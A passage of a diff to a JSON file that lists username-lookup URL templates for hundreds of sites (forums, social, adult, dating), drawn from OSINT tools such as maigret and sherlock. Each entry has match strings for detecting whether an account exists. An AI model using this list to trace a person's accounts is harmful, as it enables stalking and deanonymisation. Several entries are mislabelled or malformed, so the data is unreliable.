"error_type": "status_code" + }, + { + "name": "wwork.my1.ru", + "url": "http://wwork.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "www.adultism.com", + "url": "https://www.adultism.com/profile/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "Member since" + }, + { + "name": "www.change.org", + "url": "https://www.change.org/o/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "first_name" + }, + { + "name": "www.dateamillionaire.com", + "url": "https://www.dateamillionaire.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "input[name=", + "match_string": "patch_fill profile_box" + }, + { + "name": "www.flickr.com", + "url": "https://www.flickr.com/groups/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ":404,", + "match_string": "username" + }, + { + "name": "www.freelancejob.ru", + "url": "https://www.freelancejob.ru/users/{}/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<h1>\u041e\u0448\u0438\u0431\u043a\u0430 404</h1>", + "match_string": "\u041a\u043e\u043b-\u0432\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "www.furaffinity.net", + "url": "https://www.furaffinity.net/gallery/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">The username ", + "match_string": "og:title" + }, + { + "name": "www.gamesradar.com", + "url": "https://www.gamesradar.com/uk/author/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "noindex", + "match_string": "Email" + }, + { + "name": "www.gta-multiplayer.cz", + "url": "https://www.gta-multiplayer.cz/en/profile/{}/gaming", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\t <h2>Page not found</h2>\r", + "match_string": "ProfileTabs" + }, + { + "name": "www.hsx.com", + "url": "https://www.hsx.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "reg-container", + "match_string": "profile-info" + }, + { + "name": "www.inaturalist.org", + "url": "https://www.inaturalist.org/lists/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "display:none", + "match_string": "Profile" + }, + { + "name": "www.itemfix.com", + "url": "https://www.itemfix.com/c/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>ItemFix - Channel: ", + "match_string": "user_token" + }, + { + "name": "www.kinokopilka.pro", + "url": "https://www.kinokopilka.pro/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "profile" + }, + { + "name": "www.liinks.co", + "url": "https://www.liinks.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "_fs_namespace", + "match_string": "user" + }, + { + "name": "www.livios.be", + "url": "https://www.livios.be/nl/forum/leden/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not found", + "match_string": " " + }, + { + "name": "www.portal-pisarski.pl", + "url": "https://www.portal-pisarski.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "obrazki/404.png", + "match_string": "profil/" + }, + { + "name": "www.sql.ru", + "url": "https://www.sql.ru/forum/actualsearch.aspx?a={}&ma=0", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435", + "match_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "www.stopstalk.com", + "url": "https://www.stopstalk.com/user/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "pupil", + "match_string": "" + }, + { + "name": "www.tagged.com", + "url": "http://www.tagged.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "lastName", + "match_string": "profile" + }, + { + "name": "www.tnaflix.com", + "url": "https://www.tnaflix.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "profile-header" + }, + { + "name": "www.turpravda.com", + "url": "https://www.turpravda.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Title", + "match_string": "email" + }, + { + "name": "www.xshaker.net", + "url": "https://www.xshaker.net/{}.html", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/tube/txxxtv.html", + "match_string": "og:title" + }, + { + "name": "Wykop", + "url": "https://www.wykop.pl/ludzie/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "Aktywno\u015b\u0107 u\u017cytkownika" + }, + { + "name": "Wykop", + "url": "https://www.wykop.pl/ludzie/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wykop", + "url": "https://wykop.pl/ludzie/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Wyst\u0105pi\u0142 b\u0142\u0105d 404.", + "match_code": 200, + "match_string": "Profil:" + }, + { + "name": "Wykop", + "url": "https://wykop.pl/ludzie/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile:username" + }, + { + "name": "X", + "url": "https://api.x.com/i/users/username_available.json?username={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"reason\":\"available\"", + "match_code": 200, + "match_string": "\"reason\":\"taken\"" + }, + { + "name": "x-h2o.com", + "url": "http://www.x-h2o.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "X-time", + "url": "https://www.x-time.ru/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"noindex,follow" + }, + { + "name": "xakep.ru", + "url": "https://xakep.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xakerminus.ucoz.ru", + "url": "http://xakerminus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xanga", + "url": "https://{}.xanga.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Xanga 2.0 is Here!", + "match_string": "s Xanga Site | Just" + }, + { + "name": "Xanga", + "url": "http://{}.xanga.com/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "s Xanga Site | Just" + }, + { + "name": "Xbox Gamertag", + "url": "https://xboxgamertag.com/search/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xbox Gamertag", + "url": "https://www.xboxgamertag.com/search/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Gamertag doesn't exist", + "match_code": 200, + "match_string": "Games Played" + }, + { + "name": "Xcams", + "url": "https://www.xcams.com/profile/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "not found", + "match_string": "years old" + }, + { + "name": "Xcraft", + "url": "https://xcraft.ru/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "XDA", + "url": "https://forum.xda-developers.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xeeders", + "url": "https://xeeders.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profiles_banner" + }, + { + "name": "xemera.at.ua", + "url": "http://xemera.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xenforo", + "url": "https://xenforo.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xenforo.com", + "url": "https://xenforo.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xgm.guru", + "url": "https://xgm.guru/user/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f", + "match_string": "\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c:" + }, + { + "name": "xHamster", + "url": "https://xhamster.com/users/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "user-info-section" + }, + { + "name": "Xhamster", + "url": "https://ru.xhamster.com/users/{}", + "category": "adult", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XHAMSTER (users)", + "url": "https://www.xhamster.com/users/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username}" + }, + { + "name": "Xiaomi", + "url": "https://xiaomi.eu/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xiaozhuanlan", + "url": "https://xiaozhuanlan.com/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Xing", + "url": "https://www.xing.com/profile/{}", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xitlar.ucoz.net", + "url": "http://xitlar.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xlovecam", + "url": "https://www.xlovecam.com/en/model/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "error 404", + "match_string": "years old" + }, + { + "name": "Xmswiki", + "url": "https://xmswiki.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "xn----7sbb0bfjrbhdi.xn--p1ai", + "url": "http://xn----7sbb0bfjrbhdi.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn----7sbcctevcqafop1aviko5l.xn--p1ai", + "url": "http://xn----7sbcctevcqafop1aviko5l.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn----7sbfejdvocrv7adem.xn--p1ai", + "url": "http://xn----7sbfejdvocrv7adem.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai", + "url": "http://xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--80aepdb4ag.xn--p1ai", + "url": "http://xn--80aepdb4ag.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--80aqkf5cb.xn--p1ai", + "url": "http://xn--80aqkf5cb.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--90anbhklk.xn--p1ai", + "url": "http://xn--90anbhklk.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--90aybfeg.xn--p1ai", + "url": "http://xn--90aybfeg.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XNXX", + "url": "https://www.xnxx.com/mobile/profile/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 400, + "error_string": "Bad request", + "match_code": 200, + "match_string": "<table id=\"profile\">" + }, + { + "name": "XNXX (porn-maker)", + "url": "https://www.xnxx.com/porn-maker/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "Porn Maker" + }, + { + "name": "XNXX (pornstars)", + "url": "https://www.xnxx.com/pornstar/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "Model page" + }, + { + "name": "xorazm-viloyati.ucoz.com", + "url": "http://xorazm-viloyati.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xpaja", + "url": "https://xpaja.net/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "header-channel" + }, + { + "name": "Xpanded", + "url": "https://xpanded.com/girls?search_profilename={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "but we were unable to find", + "match_string": ">Xpanded TV</a>" + }, + { + "name": "Xperiablog", + "url": "https://www.xperiablog.net/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Xrares", + "url": "https://xrares.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "This user does not exist", + "match_string": "panel-body" + }, + { + "name": "xristos.vo.uz", + "url": "http://xristos.vo.uz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xss", + "url": "https://xss.is/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "XSS.is", + "url": "https://xss.is/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xsssql", + "url": "http://www.xsssql.com/article/author/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "xt_ht_BLOCK_RU_IP", + "url": "http://{}.xt.ht/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<b>[phpBB Debug] PHP Notice</b>" + }, + { + "name": "Xtratime", + "url": "https://www.xtratime.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xtratime.org", + "url": "https://www.xtratime.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XV Cams", + "url": "https://www.xvcams.com/models/bios/{}/about.php", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The performer's bio you requested is not available.", + "match_string": "Webcam Bio - Naked Pics, Adult Videos, Sex Chat" + }, + { + "name": "Xvideos", + "url": "https://xvideos.com/profiles/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XVIDEOS (pornstars)", + "url": "https://www.xvideos.com/pornstars/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username} - Channel page - XVIDEOS.COM" + }, + { + "name": "XVIDEOS (users/channels)", + "url": "https://www.xvideos.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username} - Channel page - XVIDEOS.COM" + }, + { + "name": "XVIDEOS Red", + "url": "https://www.xvideos.red/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Learn more", + "match_string": "video views" + }, + { + "name": "XVIDEOS-profiles", + "url": "https://www.xvideos.com/profiles/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "THIS PROFILE DOESN'T EXIST", + "match_code": 200, + "match_string": "page - XVIDEOS.COM" + }, + { + "name": "XvideosModels", + "url": "https://www.xvideos.com/models/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "THIS PROFILE DOESN'T EXIST", + "match_string": "Total video views" + }, + { + "name": "Xxxbunker", + "url": "https://xxxbunker.com/users/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "FILE NOT FOUND", + "match_string": "\"profile\"" + }, + { + "name": "XXXfollow", + "url": "https://www.xxxfollow.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "XXX follow - Free TikTok Porn (formerly Xfollow)", + "match_string": "Views
    " + }, + { + "name": "XXXForum.org", + "url": "https://xxxforum.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "xyuivet-mailcpy.moy.su", + "url": "http://xyuivet-mailcpy.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ya-uchitel", + "url": "https://ya-uchitel.ru//index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ya-uchitel", + "url": "https://ya-uchitel.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "yagubov.site", + "url": "http://yagubov.site/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yahoo! JAPAN Auction", + "url": "https://auctions.yahoo.co.jp/follow/list/{}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 500, + "error_string": "Yahoo! JAPAN ID\u304c\u7121\u52b9\u3067\u3059\u3002", + "match_code": 200, + "match_string": "\u51fa\u54c1\u8005" + }, + { + "name": "Yalta-info", + "url": "http://www.yalta-info.net/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "yamaya.ru", + "url": "https://yamaya.ru/profile/?{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "

    ", + "match_string": "Skype:" + }, + { + "name": "Yandex_Dzen", + "url": "https://dzen.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexBugbounty", + "url": "https://yandex.ru/bugbounty/researchers/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexCollections API", + "url": "https://yandex.ru/collections/api/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "cl-not-found-content__title", + "match_string": "public_id" + }, + { + "name": "YandexMarket", + "url": "https://market.yandex.ru/user/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "//yastatic.net/market-export/_/i/zero-state/404.svg" + }, + { + "name": "YandexMusic", + "url": "https://music.yandex.ru/users/{}/playlists", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexMusic", + "url": "https://music.yandex/users/{}/playlists", + "category": "music", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 404" + }, + { + "name": "YandexReviews", + "url": "https://reviews.yandex.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043a\u0440\u044b\u043b \u0441\u0432\u043e\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443", + "match_string": "content=\"\u041e\u0442\u0437\u044b\u0432\u044b \u0438 \u043e\u0446\u0435\u043d\u043a\u0438" + }, + { + "name": "YandexZenChannel", + "url": "https://dzen.ru/channel/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ".zen-ui-page-404", + "match_string": "zen_object_id" + }, + { + "name": "YandexZenUser", + "url": "https://zen.yandex.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexZnatoki", + "url": "https://yandex.ru/q/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yapisal", + "url": "{urlMain}/u/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\"error_type\":\"not_found\"", + "match_string": "\"user\":{\"id\":" + }, + { + "name": "Yapisal", + "url": "https://forum.yapisal.net/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YaPishu.net", + "url": "https://yapishu.net/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "for_profile" + }, + { + "name": "Yareny", + "url": "https://yareny.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found!" + }, + { + "name": "Yazawaj", + "url": "https://www.yazawaj.com/profile/{}", + "category": "dating", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "nodata", + "match_code": 200, + "match_string": "profile-description" + }, + { + "name": "Yazawaj", + "url": "https://yazawaj.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile/{username}" + }, + { + "name": "Yazbel", + "url": "https://forum.yazbel.com/u/{}/summary", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yelp", + "url": "http://{}.yelp.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "viewName", + "match_string": "Username" + }, + { + "name": "Yelp (by id)", + "url": "https://www.yelp.com/user_details?userid={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page", + "match_string": "Birthday" + }, + { + "name": "yerkramas.do.am", + "url": "http://yerkramas.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YesWeHack", + "url": "https://api.yeswehack.com/hunters/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":404", + "match_code": 200, + "match_string": "\"username\":" + }, + { + "name": "yka.kz", + "url": "http://yka.kz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yougame", + "url": "https://yougame.biz/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YouNow", + "url": "https://www.younow.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No users found" + }, + { + "name": "YouNow", + "url": "https://api.younow.com/php/api/broadcast/info/user={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"errorMsg\":\"No users found\"", + "match_code": 200, + "match_string": "\"userId\":" + }, + { + "name": "Younow", + "url": "https://younow.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "is broadcasting" + }, + { + "name": "Younow", + "url": "https://www.younow.com/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "YouPic", + "url": "https://youpic.com/photographer/{}/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "youpic", + "url": "https://youpic.com/photographer/{}", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>YouPic \u2014 Not Found", + "match_code": 200, + "match_string": "404 Not Found", + "match_code": 200, + "match_string": "joinedDateText" + }, + { + "name": "YouTube User", + "url": "https://www.youtube.com/user/{}/about", + "category": "video", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 Not Found", + "match_code": 200, + "match_string": "joinedDateText" + }, + { + "name": "youtubechannel", + "url": "https://www.youtube.com/c/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "yras.ucoz.ru", + "url": "http://yras.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ytmnd", + "url": "https://www.ytmnd.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Unknown user" + }, + { + "name": "Ytmnd", + "url": "https://ytmnd.com/users/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user_profile_stats" + }, + { + "name": "Yummly", + "url": "https://mapi.yummly.com/mapi/v19/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "profileName" + }, + { + "name": "Yumpu", + "url": "https://www.yumpu.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "float-left", + "match_string": "yp-grid-mag-container yp-content-container" + }, + { + "name": "Yuvutu (profile)", + "url": "http://www.yuvutu.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Members</span>", + "match_string": "personal info</h1>" + }, + { + "name": "Yuvutu (search)", + "url": "http://www.yuvutu.com/modules.php?name=Video&op=search&keywords={}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<strong>0 result(s)</strong>", + "match_string": ">1</a>" + }, + { + "name": "Yvision", + "url": "https://yvision.kz/u/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "helmet=\"true\">404", + "match_code": 200, + "match_string": "
    " + }, + { + "name": "zennenhund.ucoz.ru", + "url": "http://zennenhund.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zenway", + "url": "https://zenway.ru/forum/search.php?action=search&keywords=&author={}&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Zepeto", + "url": "https://gw-napi.zepeto.io/profiles/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "errorCode\":", + "match_code": 200, + "match_string": "zepetoId\":" + }, + { + "name": "zerkalastekla.ru", + "url": "http://zerkalastekla.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zerocoolpro", + "url": "https://zerocoolpro.biz/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "zhelezyaka.at.ua", + "url": "http://zhelezyaka.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zhihu", + "url": "https://www.zhihu.com/people/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u7528\u6237\u4e0d\u5b58\u5728" + }, + { + "name": "zhihu", + "url": "https://api.zhihu.com/books/people/{}/publications?offset=0&limit=5", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"name\": \"NotFoundException\"", + "match_code": 200, + "match_string": "\"is_start\": true" + }, + { + "name": "Zhihu", + "url": "https://zhihu.com/people/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": ">404", + "match_string": "\"users\":{\"" + }, + { + "name": "Zhyk", + "url": "https://zhyk.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zhyk", + "url": "https://zhyk.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": 